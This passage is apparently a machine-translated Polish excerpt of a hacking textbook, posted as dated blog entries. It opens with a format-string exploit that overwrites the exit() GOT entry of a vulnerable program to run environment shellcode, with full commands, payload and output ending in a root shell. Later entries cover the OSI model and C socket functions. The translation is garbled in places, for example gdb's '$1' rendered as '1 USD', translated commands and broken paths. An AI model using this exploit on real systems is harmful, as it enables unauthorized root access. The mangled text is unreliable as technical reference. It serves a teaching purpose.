To pokazuje, że adres funkcji exit () (przedstawiony pogrubioną czcionką powyżej) znajduje się w GOT pod adresem 0x08049784. Jeśli adres powłoki zostanie nadpisany w tym miejscu, program powinien wywołać kod powłoki, gdy podejrzewa, że wywołuje funkcję exit (). Jak zwykle, kod powłoki jest umieszczany w zmiennej środowiskowej, jego aktualna lokalizacja jest przewidywana, a luka formatu string jest używana do zapisania wartości. W rzeczywistości kod powłoki powinien nadal znajdować się w środowisku wcześniej, co oznacza, że jedynymi wymagającymi korekty są pierwsze 16 bajtów ciągu formatu. Obliczenia dla parametrów formatu xx zostaną wykonane ponownie dla zachowania przejrzystości. Na wyjściu poniżej adres kodu powłoki (1) zapisywany jest w adresie funkcji exit () (2)

reader @ hacking: ~ / booksrc $ export SHELLCODE = $ (cat shellcode.bin)

reader @ hacking: ~ / booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln

SHELLCODE będzie w (1)

0xbffff9ec

reader @ hacking: ~ / booksrc $ gdb -q

(gdb) p 0xbfff - 8

1 USD = 49143

(gdb) p 0xf9ec - 0xbfff

2 USD = 14829

(gdb) zakończ

reader @ hacking: ~ / booksrc $ objdump -R ./fmt_vuln

./fmt_vuln: format pliku elf32-i386

DYNAMICZNE REKORDY RELOKACJI

WARTOŚĆ TYPU PRZESUNIĘCIE

08049764 R_386_GLOB_DAT __gmon_start__

08049774 R_386_JUMP_SLOT __gmon_start__

08049778 R_386_JUMP_SLOT __libc_start_main

0804977c R_386_JUMP_SLOT strcpy

08049780 R_386_JUMP_SLOT printf

(2)

08049784 R_386_JUMP_SLOT exit

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x86\x97\x04\x08\x84\x97\x04\

x08")%49143x%4\$hn%14829x%5\$hn

The right way to print user-controlled input:

????%49143x%4$hn%14829x%5$hn

The wrong way to print user-controlled input:

????

b7fe75fc

[*] test_val @ 0x08049794 = -72 0xffffffb8

sh-3.2# whoami

root

sh-3.2#

Kiedy fmt_vuln.c próbuje wywołać funkcję exit (), adres funkcji exit () jest sprawdzany w GOT i jest przeskakiwany do niego poprzez PLT. Ponieważ rzeczywisty adres został zmieniony z adresem dla kodu powłoki w środowisku, powłoka główna jest tworzona. Kolejną zaletą nadpisania GOT jest to, że pozycje GOT są ustalone na binarne, więc inny system z tym samym binarnym będzie miał ten sam wpis GOT na tym samym adresie. Możliwość nadpisania dowolnych adresów otwiera wiele możliwości wykorzystania. Zasadniczo, każda sekcja pamięci, która jest zapisywalna i zawiera adres kierujący przepływem wykonania programu, może być celem

Powrót

26.07.2020

SIECI

Komunikacja i język znacznie podniosły umiejętności rasy ludzkiej. Używając wspólnego języka, ludzie są w stanie przekazywać wiedzę, koordynować działania i dzielić się doświadczeniami. Podobnie, programy mogą stać się znacznie potężniejsze, gdy mają możliwość komunikowania się z innymi programami za pośrednictwem sieci. Prawdziwa użyteczność przeglądarki to nie sam program, ale możliwość komunikacji z serwerami. Tworzenie sieci jest tak powszechne, że czasami jest uważane za oczywiste. Wiele aplikacji, takich jak poczta e-mail, internet i wiadomości błyskawiczne, polega na sieci. Każda z tych aplikacji opiera się na określonym protokole sieciowym, ale każdy protokół wykorzystuje te same ogólne metody transportu w sieci. Wiele osób nie zdaje sobie sprawy, że istnieją luki w samych protokołach sieciowych. W tej części dowiesz się, jak połączyć swoje aplikacje za pomocą gniazd sieciowych i jak radzić sobie z typową luką w sieci

Powrót

27.07.2020

Model OSI

Kiedy dwa komputery rozmawiają ze sobą, muszą mówić tym samym językiem. Struktura tego języka jest opisana warstwami przez model OSI. Model OSI zapewnia standardy, które pozwalają sprzętowi, a także routerom i zaporom ogniowym skupiać się na jednym konkretnym aspekcie komunikacji. Model OSI jest podzielony na koncepcyjne warstwy komunikacji. W ten sposób sprzęt routingu i zapory ogniowej może skupić się na przekazywaniu danych na niższych warstwach, ignorując wyższe warstwy enkapsulacji danych używane przez uruchomione aplikacje. Siedem warstw OSI wygląda następująco:

Warstwa fizyczna Warstwa ta zajmuje się fizycznym połączeniem między dwoma punktami. Jest to najniższa warstwa, której główną rolą jest przekazywanie nieprzetworzonych strumieni bitów. Ta warstwa jest zatem odpowiedzialna za aktywację, utrzymywanie i dezaktywację komunikacji strumienia bitów.

Warstwa łącza danych Ta warstwa zajmuje się przesyłaniem danych między dwoma punktami. W przeciwieństwie do warstwy fizycznej, która zajmuje się wysyłaniem nieprzetworzonych bitów, ta warstwa zapewnia funkcje wysokiego poziomu, takie jak korekcja błędów i kontrola przepływu. Ta warstwa zapewnia również procedury aktywacji, konserwacji i dezaktywacji połączeń łącza danych.

Warstwa sieciowa Warstwa ta działa jako pośrednie podłoże; Jego podstawową rolą jest przekazywanie informacji pomiędzy niższą i wyższą warstwą, zapewniając adresowanie i routing.

Warstwa transportowa Warstwa ta zapewnia przezroczysty transfer danych między systemami. Zapewniając niezawodną komunikację danych, ta warstwa pozwala wyższym warstwom nigdy nie martwić się o niezawodność lub opłacalność transmisji danych.

Warstwa sesji Ta warstwa jest odpowiedzialna za nawiązywanie i utrzymywanie połączeń między aplikacjami sieciowymi.

Warstwa prezentacji Warstwa ta jest odpowiedzialna za prezentowanie danych w składni lub języku. Pozwala to na takie rzeczy jak szyfrowanie i kompresja danych.

Warstwa aplikacji Warstwa ta zajmuje się śledzeniem wymagań aplikacji.

Gdy dane są przekazywane za pośrednictwem tych warstw protokołów, są wysyłane w małych kawałkach zwanych pakietami. Każdy pakiet zawiera implementacje tych warstw protokołów. Począwszy od warstwy aplikacji pakiet zawija warstwę prezentacji danych, które owijają warstwę sesji, która otacza warstwę transportu i tak dalej. Ten proces nazywa się enkapsulacją. Każda zawinięta warstwa zawiera nagłówek i treść. Nagłówek zawiera informacje potrzebne dla tej warstwy, a treść zawiera dane dla tej warstwy. Ciało jednej warstwy zawiera cały pakiet wcześniej zakapsułowanych warstw, takich jak skórka cebuli lub konteksty funkcjonalne znalezione na stosie programu. Na przykład, kiedy tylko przeglądać strony internetowe, kabel Ethernet i karta tworzą warstwę fizyczną, dbanie o transmisji bitów surowców z jednego końca kabla do drugiego. Następny etap to warstwa łącza danych. W przykładzie przeglądarki sieci Ethernet tworzy tę warstwę, która zapewnia niskopoziomową komunikację między portami Ethernet w sieci LAN. Ten protokół umożliwia komunikację między portami ethernetowymi, ale tezę ,że porty nie mają jeszcze adresów IP. Koncepcja adresów IP nie istnieje do następnej warstwy, warstwy sieci. Oprócz adresowania ta warstwa jest odpowiedzialna za przechodzenie z jednego adresu do drugiego. Te trzy niższe warstwy są razem. Następna warstwa to warstwa transportowa, która jest przeznaczona dla ruchu TCP; zapewnia bezproblemowe dwukierunkowe połączenie z gniazdem. Termin TCP / IP opisuje użycie TCP na warstwie transportowej i IP w warstwie sieciowej. Inne schematy adresowania istnieją na tej warstwie; jednak ruch sieciowy wykorzystuje wersję IP 4 (IPv4). Adresy IPv4 są zgodne ze znaną formą XX.XX.XX.XX. Wersja IP 6 (IPv6) istnieje na tej warstwie, z całkowicie odmiennym schematem adresowania. HTTP (Hypertext Transfer Protocol) do komunikacji, który znajduje się w najwyższej warstwie modelu OSI. Podczas przeglądania Internetu przeglądarka komunikuje się przez Internet z serwerem internetowym znajdującym się w innej sieci prywatnej. Gdy tak się dzieje, pakiety danych są enkapsulowane do warstwy fizycznej, gdzie są przekazywane do routera. Ponieważ router nie zajmuje się tym, co faktycznie znajduje się w pakiecie, wystarczy go zaimplementować do warstwy sieci. Router wysyła pakiety do Internetu, skąd docierają do ruterów innej sieci. Ruter ten następnie hermetyzuje ten pakiet za pomocą nagłówków protokołów niższej warstwy potrzebnych do dotarcia pakietu do miejsca docelowego. Cała ta enkapsulacja stanowi złożony język hostujący się w Internecie (i innych typach sieci). Te protokoły są zaprogramowane na routery, zapory ogniowe i system operacyjny twojego komputera, aby mogły się komunikować. Programy korzystające z sieci, wyszukiwania jako przeglądarki internetowe i klienci poczty e-mail muszą łączyć się z systemem operacyjnym, który obsługuje komunikację sieciową. Ponieważ system operacyjny zajmuje się szczegółami hermetyzacji sieci, pisania sieci programy to tylko kwestia korzystania z interfejsu sieciowego systemu operacyjnego.

28.07.2020

Gniazda

Gniazdo to standardowy sposób wykonywania komunikacji sieciowej za pośrednictwem systemu operacyjnego. Gniazdo może być postrzegane jako punkt końcowy połączenia, podobnie jak gniazdo w centrali operatora. Ale te gniazda są po prostu abstrakcją programisty, która zajmuje się wszystkimi drobnymi szczegółami opisanego powyżej modelu OSI. Dla programisty ,można użyć gniazda do wysyłania lub odbierania danych przez sieć. Dane są przesyłane w warstwie sesji (5) powyżej warstw niższych (obsługiwanych przez system operacyjny), które zajmują się routingiem. Istnieje kilka różnych typów gniazd, które określają strukturę warstwy transportowej (4). Najczęstsze typy to gniazda strumieniowe i gniazda datagramowe. Gniazda strumieniowe zapewniają niezawodną dwukierunkową komunikację, podobnie jak w przypadku połączenia z osobą rozmawiającą przez telefon. Jedna strona inicjuje połączenie z drugą, a po ustanowieniu połączenia każda ze stron może się komunikować z drugą. Ponadto istnieje natychmiastowe potwierdzenie, że to, co powiedziałeś, dotarło do celu. Gniazda strumieniowe używają standardowego protokołu komunikacyjnego o nazwie TCP (Transmission Control Protocol), który istnieje w warstwie transportowej (4) modelu OSI. W sieciach komputerowych dane są zwykle przesyłane w porcjach zwanych pakietami. Protokół TCP został zaprojektowany w taki sposób, aby pakiety danych przychodziły bezbłędnie i po kolei, tak jak słowa docierające do drugiego końca w kolejności, w jakiej były wypowiadane, gdy rozmawiasz przez telefon. Serwery sieciowe, serwery pocztowe i ich aplikacje klienckie używają do komunikacji TCP i gniazd strumieniowych. Innym typem gniazda jest gniazdo datagramowe. Komunikacja z gniazdem datagramowym przypomina raczej wysyłanie listów niż wykonywanie połączeń telefonicznych. Połączenie jest jednokierunkowe i niewiarygodne. Jeśli wysyłasz pocztą kilka listów, nie możesz mieć pewności, że dotarły one do tej samej kolejności lub nawet, że dotarły w ogóle do miejsca przeznaczenia. Usługa pocztowa jest dość niezawodna; Internet jednak nie jest. Gniazda Datagram używają innego standardowego protokołu zwanego UDP zamiast TCP na warstwie transportowej (4). UDP oznacza User Datagram Protocol, co oznacza, że można go użyć do tworzenia niestandardowych protokołów. Protokół ten jest bardzo prosty i lekki, z wbudowanymi kilkoma zabezpieczeniami. To nie jest prawdziwe połączenie, tylko podstawowa metoda przesyłania danych z jednego punktu do drugiego. W przypadku gniazd datagramowych protokół zawiera niewiele problemów, ale protokół nie robi wiele. Jeśli twój program musi potwierdzić, że pakiet został odebrany przez drugą stronę, druga strona musi być zakodowana, aby wysłać powrót pakiet potwierdzenia. W niektórych przypadkach utrata pakietów jest akceptowalna. Gniazda Datagram i UDP są powszechnie używane w grach sieciowych i multimediach strumieniowych, ponieważ programiści mogą dostosowywać komunikację dokładnie w razie potrzeby bez wbudowanego narzutu TCP.



Powrót

29.07.2020

Funkcje gniazd

W języku C gniazda działają podobnie do plików, ponieważ używają deskryptorów plików do identyfikacji. Gniazda zachowują się tak bardzo jak pliki, które można faktycznie używać funkcji read () i write () do odbierania i wysyłania danych przy użyciu deskryptorów plików gniazd. Istnieje jednak kilka funkcji zaprojektowanych specjalnie do obsługi gniazd. Funkcje te mają swoje prototypy zdefiniowane w /usr/include/sys/sockets.h.

socket (int domain, int type, int protocol)

Służy do utworzenia nowego gniazda, zwraca deskryptor pliku dla gniazda lub -1 w przypadku błędu.

connect (int fd, struct sockaddr * remote_host, socklen_t addr_length) Łączy gniazdo (opisane przez deskryptor pliku fd) ze zdalnym hostem. Zwraca 0 w przypadku sukcesu i -1 w przypadku błędu.

bind (int fd, struct sockaddr * local_addr, socklen_t addr_length)

Oprawa gniazda na adres lokalny, dzięki czemu może nasłuchiwać połączeń przychodzących. Zwraca 0 w przypadku sukcesu i -1 w przypadku błędu.

listen (int fd, int backlog_queue_size)

Odsłuchuje połączenia przychodzące i kolejkuje żądania połączeń do backlog_queue_size. Zwraca 0 w przypadku sukcesu i -1 w przypadku błędu.

accept (int fd, sockaddr * zdalny_host, socklen_t * addr_length)

Akceptuje połączenie przychodzące na złączonym gnieździe. Informacje adresowe ze zdalnego hosta są zapisywane w strukturze remote_host, a faktyczny rozmiar struktury adresu jest zapisywany

* addr_length. Ta funkcja zwraca nowy deskryptor pliku gniazda w celu zidentyfikowania podłączonego gniazda lub -1 w przypadku błędu.

send (int fd, void * buffer, size_t n, int flags)

Wysyła n bajtów z * bufora do gniazda fd; zwraca liczbę wysłanych bajtów lub -1 w przypadku błędu.

recv (int fd, void * buffer, size_t n, int flags)

Odbiera n bajtów z gniazda fd do * bufora; zwraca liczbę otrzymanych bajtów lub -1 w przypadku błędu.

Gdy gniazdo jest tworzone za pomocą funkcji socket (), musi zostać określona domena, typ i protokół gniazda. Domena odnosi się do rodziny protokołów gniazda. Gniazdo może być używane do komunikacji za pomocą różnych protokołów, od standardowego protokołu internetowego używanego podczas przeglądania Internetu do amatorskich protokołów radiowych, takich jak AX.25 (gdy jesteś gigantycznym nerdem). Te rodziny protokołów są zdefiniowane w pliku bits / socket.h, który jest automatycznie dołączany do sys / socket.h.

Powrót

30.07.2020

/usr/include/bits/socket.h

/ * Rodziny protokołów. * /

#define PF_UNSPEC 0 / * Nieokreślony. * /

#define PF_LOCAL 1 / * Lokalny host (potoki i domena plików). * /

#define PF_UNIX PF_LOCAL / * Stara nazwa BSD dla PF_LOCAL. * /

#define PF_FILE PF_LOCAL / * Kolejna niestandardowa nazwa dla PF_LOCAL. * /

#define PF_INET 2 / * Rodzina protokołów IP. * /

#define PF_AX25 3 / * Amateur Radio AX.25. * /

#define PF_IPX 4 / * Novell Internet Protocol. * /

#define PF_APPLETALK 5 / * Appletalk DDP. * /

#define PF_NETROM 6 / * Amateur radio NetROM. * /

#define PF_BRIDGE 7 / * Most wieloprotokołowy. * /

#define PF_ATMPVC 8 / * ATM PVC. * /

#define PF_X25 9 / * Zarezerwowany dla projektu X.25. * /

#define PF_INET6 10 / * IP wersja 6. * /



Jak już wspomniano, istnieje kilka rodzajów gniazd, chociaż najpopularniejsze są gniazda strumieniowe i gniazda datagramowe. Rodzaje gniazd są również zdefiniowane w bitach / socket.h. (Komentarze / * komentarze * / w powyższym kodzie są po prostu kolejnym stylem, który komentuje wszystko między gwiazdkami.)

Powrót

31.07.2020

/usr/include/bits/socket.h

/ * Rodzaje gniazd. * /

enum __socket_type

{

SOCK_STREAM = 1, / * Sekwencyjne, niezawodne, oparte na połączeniu strumienie bajtów. * /

#define SOCK_STREAM SOCK_STREAM

SOCK_DGRAM = 2, / * Niepołączone, zawodne datagramy o ustalonej maksymalnej długości. * /

#define SOCK_DGRAM SOCK_DGRAM



Ostatnim argumentem dla funkcji socket() jest protokół, który powinien prawie zawsze wynosić 0. Specyfikacja dopuszcza wiele protokołów w rodzinie protokołów, więc ten argument służy do wyboru jednego z protokołów z rodziny. W praktyce jednak większość rodzin protokołów ma tylko jeden protokół, co oznacza, że zwykle powinno być ustawione na 0; pierwszy i jedyny protokół w wyliczaniu rodziny. Tak jest w przypadku wszystkiego, co zrobimy z gniazdami w tej książce, więc ten argument zawsze będzie wynosił 0 w naszych przykładach.



Powrót